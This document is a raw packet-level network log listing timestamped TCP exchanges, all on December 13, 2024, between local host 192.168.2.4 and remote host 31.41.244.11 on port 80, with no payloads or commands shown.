Dec 13, 2024 01:51:11.922908068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.922966003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.923032999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.923091888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.923882961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.923933029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.923993111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.924042940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.924870014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.924920082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.924957991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.925008059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.925821066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.925868988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.925941944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.925997019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.926789045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.926846027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.926904917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.926959038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.927753925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.927809954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.927850962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.927905083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.928730965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.928786039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.928854942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.928909063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.929769039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.929826975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.929861069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.929918051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.930690050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.930744886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.930785894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.930854082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.931653023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.931714058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.931741953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.931790113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.932626009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.932703018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.932738066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.932790995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.933572054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.933624029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.074891090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.075028896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.075067043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.075118065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.075192928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.075192928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.075350046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.075387955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.075413942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.075447083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.076298952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.076361895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.076404095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.076462030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.077233076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.077294111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.077367067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.077421904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.078268051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.078330994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.078408003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.078465939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.079188108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.079247952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.079332113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.079480886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.080156088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.080212116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.080281973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.080338955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.081140995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.081204891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.081267118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.081324100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.082120895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.082190990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.082247019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.082307100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.083070040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.083136082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.083204985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.083261967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.084086895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.084151983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.084235907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.084292889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.085057974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.085186958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.085231066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.085258007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.086002111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.086070061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.086184025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.086242914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.086996078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.087060928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.087121010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.087178946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.087950945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.088038921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.088083029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.088187933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.088932037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.088999033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.089067936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.089126110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.089912891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.089978933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.090050936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.090107918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.091356993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.091420889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.091437101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.091492891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.091850042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.091908932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.091963053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.092026949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.092823029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.092885971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.092951059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.093008041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.093854904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.093892097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.093913078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.093941927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.094782114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.094847918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.094907999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.094968081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.095794916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.095894098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.095906973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.095952034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.096752882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.096858025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.096889973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.096961975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.097716093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.097774029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.097843885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.097898960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.098728895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.098783016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.098804951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.098864079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.099662066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.099724054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.099785089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.099838972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.100624084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.100678921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.100753069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.100807905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.101598978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.101655006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.101718903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.101773977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.102591038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.102655888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.102705956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.102762938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.103574038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.103631020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.103671074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.103727102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.104527950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.104583025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.104655027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.104722023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.105520010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.105580091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.105638981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.105693102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.106523037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.106621027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.106628895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.106683969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.107450962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.107511997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.107584953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.107642889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.108434916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.108494043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.108561039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.108619928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.109391928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.109458923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.109505892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.109563112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.110372066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.110436916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.110486031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.110546112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.111377954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.111438990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.111512899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.111568928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.112302065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.112356901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.112430096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.112484932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.113284111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.113343954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.113404036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.113459110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.114278078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.114336014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.114402056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.114456892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.115251064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.115319967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.115392923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.115454912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.116214991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.116275072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.116317034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.116375923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.117192030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.117289066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.117297888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.117345095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.118175983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.118237019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.118321896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.118382931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.119136095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.119199038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.119293928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.119355917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.120115995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.120173931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.120239973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.120297909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.121079922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.121139050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.121208906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.121267080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.122061968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.122122049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.122191906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.122250080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.123060942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.123121977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.123172045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.123229980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.124025106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.124083996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.124280930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.124339104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.124996901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.125061035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.125114918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.125173092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.266993046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.267076969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.267126083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.267173052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.267365932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.267407894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.267412901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.267446995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.268115997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.268157959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.268220901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.268260956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.269099951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.269160032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.269191027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.269227028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.270061016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.270106077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.270173073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.270212889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.271008015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.271053076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.271106005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.271143913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.271982908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.272026062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.272088051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.272126913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.273003101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.273045063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.273080111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.273117065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.273947954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.273988962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.274070024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.274108887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.274959087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.275002956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.275110006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.275154114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.276026964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.276070118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.276329994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.276372910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.276904106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.276942968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.277012110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.277050972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.277842999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.277900934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.277939081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.277978897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.278841972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.278896093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.278935909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.278980970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.279774904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.279824972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.279889107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.279933929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.280860901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.280908108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.280960083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.281016111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.281718969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.281766891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.281831026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.281872988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.282722950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.282772064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.282777071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.282819033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.283669949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.283719063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.283781052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.283823013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.284651995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.284702063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.284764051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.284816027 CET	49765	80	192.168.2.4	31.41.244.11
